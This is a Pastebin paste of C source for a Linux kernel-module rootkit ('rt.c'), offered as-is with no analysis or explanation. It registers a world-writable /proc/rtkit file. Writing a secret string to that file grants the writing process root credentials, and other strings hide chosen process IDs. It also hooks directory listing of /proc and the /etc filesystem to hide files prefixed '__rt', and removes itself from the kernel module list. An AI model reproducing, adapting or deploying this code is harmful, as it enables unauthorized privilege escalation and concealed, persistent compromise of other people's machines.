Advertisement
FlyFar

rt.c

Jun 7th, 2023
698
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.66 KB | Cybersecurity | 0 0
  1. #include <linux/init.h>
  2. #include <linux/module.h>
  3. #include <linux/proc_fs.h>
  4. #include <linux/string.h>
  5. #include <linux/cred.h>
  6. #include <linux/fs.h>
  7.  
  8. #define MIN(a,b) \
  9.    ({ typeof (a) _a = (a); \
  10.       typeof (b) _b = (b); \
  11.      _a < _b ? _a : _b; })
  12.  
  13.  
  14. #define MAX_PIDS 50
  15.  
  16. MODULE_LICENSE("Dual BSD/GPL");
  17. MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>");
  18. MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>");
  19.  
  20. //STATIC VARIABLES SECTION
  21. //we don't want to have it visible in kallsyms and have access to it all the time
  22. static struct proc_dir_entry *proc_root;
  23. static struct proc_dir_entry *proc_rtkit;
  24.  
  25. static int (*proc_readdir_orig)(struct file *, void *, filldir_t);
  26. static int (*fs_readdir_orig)(struct file *, void *, filldir_t);
  27.  
  28. static filldir_t proc_filldir_orig;
  29. static filldir_t fs_filldir_orig;
  30.  
  31. static struct file_operations *proc_fops;
  32. static struct file_operations *fs_fops;
  33.  
  34. static struct list_head *module_previous;
  35. static struct list_head *module_kobj_previous;
  36.  
  37. static char pids_to_hide[MAX_PIDS][8];
  38. static int current_pid = 0;
  39.  
  40. static char hide_files = 1;
  41.  
  42. static char module_hidden = 0;
  43.  
  44. static char module_status[1024];
  45.  
  46. //MODULE HELPERS
  47. void module_hide(void)
  48. {
  49.     if (module_hidden) return;
  50.     module_previous = THIS_MODULE->list.prev;
  51.     list_del(&THIS_MODULE->list);
  52.     module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
  53.     kobject_del(&THIS_MODULE->mkobj.kobj);
  54.     list_del(&THIS_MODULE->mkobj.kobj.entry);
  55.     module_hidden = !module_hidden;
  56. }
  57.  
  58. void module_show(void)
  59. {
  60.     int result;
  61.     if (!module_hidden) return;
  62.     list_add(&THIS_MODULE->list, module_previous);
  63.     result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
  64.     module_hidden = !module_hidden;
  65. }
  66.  
  67. //PAGE RW HELPERS
  68. static void set_addr_rw(void *addr)
  69. {
  70.     unsigned int level;
  71.     pte_t *pte = lookup_address((unsigned long) addr, &level);
  72.     if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
  73. }
  74.  
  75. static void set_addr_ro(void *addr)
  76. {
  77.     unsigned int level;
  78.     pte_t *pte = lookup_address((unsigned long) addr, &level);
  79.     pte->pte = pte->pte &~_PAGE_RW;
  80. }
  81.  
  82. //CALLBACK SECTION
  83. static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
  84. {
  85.     int i;
  86.     for (i=0; i < current_pid; i++) {
  87.         if (!strcmp(name, pids_to_hide[i])) return 0;
  88.     }
  89.     if (!strcmp(name, "rtkit")) return 0;
  90.     return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
  91. }
  92.  
  93. static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir)
  94. {
  95.     proc_filldir_orig = filldir;
  96.     return proc_readdir_orig(filp, dirent, proc_filldir_new);
  97. }
  98.  
  99. static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
  100. {
  101.     if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0;
  102.     return fs_filldir_orig(buf, name, namelen, offset, ino, d_type);
  103. }
  104.  
  105. static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir)
  106. {
  107.     fs_filldir_orig = filldir;
  108.     return fs_readdir_orig(filp, dirent, fs_filldir_new);
  109. }
  110.  
  111. static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
  112. {
  113.     int size;
  114.    
  115.     sprintf(module_status,
  116. "RTKIT\n\
  117. DESC:\n\
  118.  hides files prefixed with __rt or 10-__rt and gives root\n\
  119. CMNDS:\n\
  120.  mypenislong - uid and gid 0 for writing process\n\
  121.  hpXXXX - hides proc with id XXXX\n\
  122.  up - unhides last process\n\
  123.  thf - toogles file hiding\n\
  124.  mh - module hide\n\
  125.  ms - module show\n\
  126. STATUS\n\
  127.  fshide: %d\n\
  128.  pids_hidden: %d\n\
  129.  module_hidden: %d\n", hide_files, current_pid, module_hidden);
  130.  
  131.     size = strlen(module_status);
  132.  
  133.     if (off >= size) return 0;
  134.  
  135.     if (count >= size-off) {
  136.         memcpy(buffer, module_status+off, size-off);
  137.     } else {
  138.         memcpy(buffer, module_status+off, count);
  139.     }
  140.  
  141.     return size-off;
  142. }
  143.  
  144. static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
  145. {
  146.     if (!strncmp(buff, "mypenislong", MIN(11, count))) { //changes to root
  147.         struct cred *credentials = prepare_creds();
  148.         credentials->uid = credentials->euid = 0;
  149.         credentials->gid = credentials->egid = 0;
  150.         commit_creds(credentials);
  151.     } else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
  152.         if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
  153.     } else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
  154.         if (current_pid > 0) current_pid--;
  155.     } else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
  156.         hide_files = !hide_files;
  157.     } else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
  158.         module_hide();
  159.     } else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
  160.         module_show();
  161.     }
  162.    
  163.         return count;
  164. }
  165.  
  166. //INITIALIZING/CLEANING HELPER METHODS SECTION
  167. static void procfs_clean(void)
  168. {
  169.     if (proc_rtkit != NULL) {
  170.         remove_proc_entry("rtkit", NULL);
  171.         proc_rtkit = NULL;
  172.     }
  173.     if (proc_fops != NULL && proc_readdir_orig != NULL) {
  174.         set_addr_rw(proc_fops);
  175.         proc_fops->readdir = proc_readdir_orig;
  176.         set_addr_ro(proc_fops);
  177.     }
  178. }
  179.    
  180. static void fs_clean(void)
  181. {
  182.     if (fs_fops != NULL && fs_readdir_orig != NULL) {
  183.         set_addr_rw(fs_fops);
  184.         fs_fops->readdir = fs_readdir_orig;
  185.         set_addr_ro(fs_fops);
  186.     }
  187. }
  188.  
  189. static int __init procfs_init(void)
  190. {
  191.     //new entry in proc root with 666 rights
  192.     proc_rtkit = create_proc_entry("rtkit", 0666, NULL);
  193.     if (proc_rtkit == NULL) return 0;
  194.     proc_root = proc_rtkit->parent;
  195.     if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
  196.         return 0;
  197.     }
  198.     proc_rtkit->read_proc = rtkit_read;
  199.     proc_rtkit->write_proc = rtkit_write;
  200.    
  201.     //substitute proc readdir to our wersion (using page mode change)
  202.     proc_fops = ((struct file_operations *) proc_root->proc_fops);
  203.     proc_readdir_orig = proc_fops->readdir;
  204.     set_addr_rw(proc_fops);
  205.     proc_fops->readdir = proc_readdir_new;
  206.     set_addr_ro(proc_fops);
  207.    
  208.     return 1;
  209. }
  210.  
  211. static int __init fs_init(void)
  212. {
  213.     struct file *etc_filp;
  214.    
  215.     //get file_operations of /etc
  216.     etc_filp = filp_open("/etc", O_RDONLY, 0);
  217.     if (etc_filp == NULL) return 0;
  218.     fs_fops = (struct file_operations *) etc_filp->f_op;
  219.     filp_close(etc_filp, NULL);
  220.    
  221.     //substitute readdir of fs on which /etc is
  222.     fs_readdir_orig = fs_fops->readdir;
  223.     set_addr_rw(fs_fops);
  224.     fs_fops->readdir = fs_readdir_new;
  225.     set_addr_ro(fs_fops);
  226.    
  227.     return 1;
  228. }
  229.  
  230.  
  231. //MODULE INIT/EXIT
  232. static int __init rootkit_init(void)
  233. {
  234.     if (!procfs_init() || !fs_init()) {
  235.         procfs_clean();
  236.         fs_clean();
  237.         return 1;
  238.     }
  239.     module_hide();
  240.    
  241.     return 0;
  242. }
  243.  
  244. static void __exit rootkit_exit(void)
  245. {
  246.     procfs_clean();
  247.     fs_clean();
  248. }
  249.  
  250. module_init(rootkit_init);
  251. module_exit(rootkit_exit);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement